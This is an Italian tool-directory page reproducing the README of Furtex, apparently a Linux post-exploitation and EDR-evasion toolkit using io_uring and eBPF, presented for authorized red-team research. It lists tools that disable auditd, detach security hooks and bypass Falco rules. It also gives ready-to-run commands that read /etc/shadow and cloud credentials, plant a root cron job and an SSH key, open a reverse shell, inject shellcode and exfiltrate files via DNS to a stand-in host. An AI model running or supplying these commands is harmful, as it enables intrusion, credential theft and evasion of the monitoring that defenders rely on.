Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Furtex — Toolkit di ricerca per post-exploitation ed evasione per Linux. | Kitploit
Strumenti/GitHubGitHub/matheuzsecurity/furtex
Escalation di PrivilegiExploitPost-ExploitAnalisi MalwarePenetration TestingCommand and ControlAnalisi di BinariRed TeamingSviluppo Payload
GitHubmatheuzsecurity/furtex

Furtex

Toolkit di ricerca per post-exploitation ed evasione per Linux.

26130403 mesi faRevisionato da Kitploit
Condividi
Vedi Repository

Furtex

Toolkit di ricerca post-exploitation ed evasion per Linux, costruito attorno a io_uring ed eBPF. Niente liburing, niente framework, syscall raw ovunque.

Presto altri strumenti. Le PR sono benvenute. 🇧🇷

Unisciti a Rootkit Researchers

  • https://discord.gg/66N5ZQppU7

Solo per ricerca autorizzata e engagement red team. Non eseguirlo su sistemi che non possiedi.

``` Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)

## Requisiti

**Toolchain**

| tool | necessario per |
|---|---|
| `gcc` | tutti i binari userspace |
| `clang` | programmi BPF `ebpf/*.bpf.c` |
| `make` | sistema di build |

**Header e librerie**

| pacchetto | necessario per |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` e relativi header del kernel |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` e affini usati nei programmi in `ebpf/` |
| `bpftool` | generare `vmlinux.h` tramite `make vmlinux` dentro `ebpf/` |

Su Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

Versioni del kernel

minimacosa sblocca
5.4base di io_uring (IORING_FEAT_SINGLE_MMAP, iterazione delle mappe BPF)
5.6IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal)
5.8split CAP_BPF + CAP_PERFMON (sostituisce CAP_SYS_ADMIN per BPF)
5.9BPF_LINK_DETACH (bpf_link_detach)
5.19IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass)

Capabilities

capabilitystrumenti che la richiedono
CAP_BPF (o CAP_SYS_ADMIN pre-5.8)tutti i tool bpf/, i loader ebpf/
CAP_PERFMONi programmi tracepoint e kprobe di ebpf/
CAP_NET_RAWicmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger
CAP_NET_ADMINxdp_socket_send, netfilter_flush
CAP_AUDIT_CONTROLaudit_kill

BTF deve essere abilitato nel kernel (CONFIG_DEBUG_INFO_BTF=y) per eseguire make vmlinux per i programmi ebpf/.

Su distribuzioni con header libc-dev più vecchi (Ubuntu 22.04 ecc.) potresti aver bisogno di #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Già gestito in questo repo.

Build

comandocompila
make alltutto
make uringsolo io_uring/
make bpftool userspace di bpf/
make ebpfprogrammi lato BPF (richiede clang + libbpf)
make edrstutti i binari di edrs/
make techniquestool di bypass Falco
make cleanrimuove tutti i binari

edrs/ ha il proprio sotto-Makefile con circa 75 binari suddivisi per privilegio:``` cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed

Vedi [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/main/PRIVILEGES.md) per la ripartizione completa.

## Copertura del bypass di io_uring

Gli SQE di io_uring passano attraverso la workqueue del kernel. `io_uring_enter(2)` non chiama mai tramite `sys_call_table`, non attiva mai i tracepoint `sys_enter_*` e non colpisce mai livepatch su `native_sys_call`. Da solo, elimina un'ampia classe di hook EDR senza toccare nulla.

Cosa bypassa io_uring da solo:

| hook point | nota |
|---|---|
| sostituzione del puntatore `sys_call_table` | io_uring non passa mai attraverso la tabella delle syscall |
| livepatch su `native_sys_call` / `compat_sys_call` | stessa ragione |
| tracepoint `sys_enter_*` | percorso workqueue, nessun tracepoint si attiva |

Cosa io_uring NON bypassa da solo (richiede uno strumento attivo):

| hook point | strumento | cosa fa lo strumento |
|---|---|---|
| kprobe su `vfs_read`, `security_file_open`, ecc. | `ftrace_enum` | rimuove gli hook kprobe |
| BPF LSM / KRSI | `bpf_link_detach` | stacca il link BPF |
| Linux audit | `audit_kill` | disabilita auditd tramite NETLINK_AUDIT |
| patch LD_PRELOAD / PLT-GOT | `plt_unhook` | rimuove gli hook in userland |
| netfilter OUTPUT / conntrack | `af_packet_shell` | usa AF_PACKET a livello 2, salta netfilter |
| hook su `inet_stream_connect` | `udp_shell` | usa UDP, non chiama mai il percorso di connessione tcp |

## io_uring/

`iouring_utils.h` gestisce la configurazione del ring senza liburing.

| binario | cosa fa |
|---|---|
| `file_read` | catena OPENAT+READ+CLOSE tramite io_uring, nessun evento sys_enter_read |
| `file_write` | catena OPENAT+WRITE+CLOSE |
| `file_append` | come file_write ma con O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV in un unico ring |
| `net_reverse_shell` | reverse shell tramite CONNECT di io_uring |
| `multifile_read` | fino a 64 file in un unico batch SQE |
| `memfd_exec` | stream ELF tramite stdin in memfd, execve tramite /proc/self/fd |
| `proc_inject` | iniezione JIT tramite /proc/PID/mem; iniezione ptrace (flag --ptrace) |
| `pipe_splice` | SPLICE da kernel a kernel, gli hook in userland non vedono mai i byte |
| `inotify_bypass_watch` | la READ di io_uring non genera IN_ACCESS/IN_OPEN |
| `dns_exfil` | codifica i dati in esadecimale come etichette di query DNS tramite io_uring SENDMSG |
| `af_packet_send` | Ethernet raw tramite AF_PACKET (IORING_OP_SOCKET, bypassa il percorso inet) |
| `xdp_socket_send` | frame raw tramite AF_XDP + ring UMEM, bypassa completamente netfilter |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

bpf/

La maggior parte degli strumenti richiede CAP_BPF. env_exfil funziona senza privilegi. icmp_trigger richiede CAP_NET_RAW invece di CAP_BPF.

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Nessun dato di popolarità ancora.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →